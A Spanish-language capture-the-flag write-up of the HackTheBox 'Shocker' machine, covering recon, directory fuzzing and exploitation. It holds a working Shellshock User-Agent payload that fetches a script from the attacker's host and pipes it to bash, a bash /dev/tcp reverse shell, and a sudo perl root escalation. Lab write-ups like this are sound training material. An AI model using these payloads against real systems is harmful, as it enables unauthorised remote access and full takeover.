Shocker
Máquina Shocker de Hackthebox
Skills
- ShellShock Attack (User-Agent)
- Abusing Sudoers Privilege (Perl)
Certificaciones
- eJPT
- eWPT
Descripción
Shocker es una máquina easy linux, fuzzearemos en busca de rutas y encontraremos un /cgi-bin a partir del cual explotaremos un ShellShock Attack y ganaremos acceso a la máquina víctima. Escalaremos privilegios abusando del sudoers convirtiéndonos en usuario root
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.198.109
PING 10.129.198.109 (10.129.198.109) 56(84) bytes of data.
64 bytes from 10.129.198.109: icmp_seq=1 ttl=63 time=60.4 ms
64 bytes from 10.129.198.109: icmp_seq=2 ttl=63 time=57.4 ms
^C
--- 10.129.198.109 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 57.399/58.904/60.410/1.505 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.198.109 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 23:59 CEST
Initiating SYN Stealth Scan at 23:59
Scanning 10.129.198.109 [65535 ports]
Discovered open port 80/tcp on 10.129.198.109
Discovered open port 2222/tcp on 10.129.198.109
Completed SYN Stealth Scan at 23:59, 13.48s elapsed (65535 total ports)
Nmap scan report for 10.129.198.109
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
2222/tcp open EtherNetIP-1
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
Raw packets sent: 66041 (2.906MB) | Rcvd: 66041 (2.642MB)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p80,2222 10.129.198.109 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 23:59 CEST
Nmap scan report for 10.129.198.109
Host is up (0.078s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.01 seconds
Web Enumeration
Lo primero que vemos es lo siguiente
Como el título de la máquina es Shocker, me hace pensar que puede haber un ShellShock Attack, así que vamos a fuzzear
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# wfuzz -c -t100 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.198.109/FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.198.109/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 9 L 13 W 137 Ch "# directory-list-2.3-medium.txt"
000000002: 200 9 L 13 W 137 Ch "#"
000000035: 403 11 L 32 W 297 Ch "cgi-bin"
000000007: 200 9 L 13 W 137 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000005: 200 9 L 13 W 137 Ch "# This work is licensed under the Creative Commons"
000000083: 403 11 L 32 W 295 Ch "icons"
000000004: 200 9 L 13 W 137 Ch "#"
000000006: 200 9 L 13 W 137 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000008: 200 9 L 13 W 137 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000009: 200 9 L 13 W 137 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000010: 200 9 L 13 W 137 Ch "#"
000000011: 200 9 L 13 W 137 Ch "# Priority ordered case-sensitive list, where entries were found"
000000012: 200 9 L 13 W 137 Ch "# on at least 2 different hosts"
000000013: 200 9 L 13 W 137 Ch "#"
000000014: 200 9 L 13 W 137 Ch "http://10.129.198.109//"
000000003: 200 9 L 13 W 137 Ch "# Copyright 2007 James Fisher"
Hemos encontrado el directorio /cgi-bin, ahora vamos a ver si hay algún archivo en ese directorio
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# dirsearch -u http://10.129.198.109/cgi-bin -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e cgi,pl,py,sh -f
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: cgi, pl, py, sh | HTTP method: GET | Threads: 25 | Wordlist size: 1323270
Output File: /home/justice-reaper/Desktop/Shocker/nmap/reports/http_10.129.198.109/_cgi-bin_24-07-13_01-07-13.txt
Target: http://10.129.198.109/
[01:07:13] Starting: cgi-bin/
[01:07:17] 200 - 118B - /cgi-bin/user.sh
Con nmap podemos confirmar que la web es vulnerable a un ShellShock Attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# nmap 10.129.198.109 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/user.sh
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 01:09 CEST
Nmap scan report for 10.129.198.109
Host is up (0.077s latency).
PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| HTTP Shellshock vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-6271
| This web application might be affected by the vulnerability known
| as Shellshock. It seems the server is executing commands injected
| via malicious HTTP headers.
|
| Disclosure date: 2014-09-24
| References:
| http://www.openwall.com/lists/oss-security/2014/09/24/10
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|_ http://seclists.org/oss-sec/2014/q3/685
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
Web Exploitation
Le hacemos una petición a esa ruta y capturamos la petición con Burpsuite y esto es lo que obtenemos
Ahora con el comando curl vamos a explotar el ShellShock, lo primero es crearnos un archivo shell.sh con este payload
1
bash -i >& /dev/tcp/10.10.16.16/443 0>&1
Nos ponemos en el mismo directorio en el que está el archivo shell.sh en escucha con python
1
# python -m http.server 80
Con netcat nos ponemos en escucha por el puerto 443
1
# nc -nlvp 443
Ejecutamos el comando con curl para obtener una shell, este payload lo podemos encontrar en https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi
1
# curl -H 'User-Agent: () { :; }; /bin/bash -c "curl http://10.10.16.16/shell.sh | bash"' http://10.129.198.109/cgi-bin/user.sh
Si todo ha ido bien deberíamos haber obtenido una shell, ahora vamos a hacer un tratamiento a la TTY
1
2
3
4
5
6
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.198.109] 54964
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
shelly
Obtenemos las dimensiones de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
Con este usuario tenemos privilegios como sudo
1
2
3
4
5
6
shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Ya nos hemos convertido en usuario root, este payload es de https://gtfobins.github.io/gtfobins/perl/#sudo
1
2
3
shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/bash";'
root@Shocker:/home/shelly# whoami
root


